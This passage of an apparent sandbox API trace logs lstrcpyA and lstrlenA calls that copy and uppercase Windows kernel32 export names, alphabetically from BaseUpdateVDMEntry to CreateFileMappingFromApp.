lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.058] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.058] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.058] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.058] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.058] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.058] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.058] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.058] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.058] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.058] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.058] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.058] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.058] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.058] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.058] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.058] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.058] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.058] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.058] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.058] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.059] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.059] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.059] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.059] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.059] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.059] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.059] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.059] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.059] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.059] lstrlenA (lpString="BEEP") returned 4 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.059] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.059] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.059] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.059] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.059] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.059] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.059] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.059] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.059] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.059] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.059] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.060] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.060] lstrlenA (lpString="CANCELIO") returned 8 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.060] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.060] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.060] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.060] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.060] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.060] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.060] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.060] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.060] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.060] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.060] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.060] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.060] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.060] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.060] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.060] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.060] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.060] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.060] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.061] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.061] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.061] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.061] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.061] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.061] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.061] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.061] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.061] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.061] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.061] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.061] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.061] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.061] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.061] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.061] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.062] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.062] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.062] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.062] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.062] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.062] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.062] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.062] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.062] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.062] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.062] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.062] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.062] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.062] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.062] lstrlenA (lpString="COPYFILE2") returned 9 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.062] lstrlenA (lpString="COPYFILEA") returned 9 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.062] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.062] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.062] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.062] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.062] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.062] lstrlenA (lpString="COPYFILEW") returned 9 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.063] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.063] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.063] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.063] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.063] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.063] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.063] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.063] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.063] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.063] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.063] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.063] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.063] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.063] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.063] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.063] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.063] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.063] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.063] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.063] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.063] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.064] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.064] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.064] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.064] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: 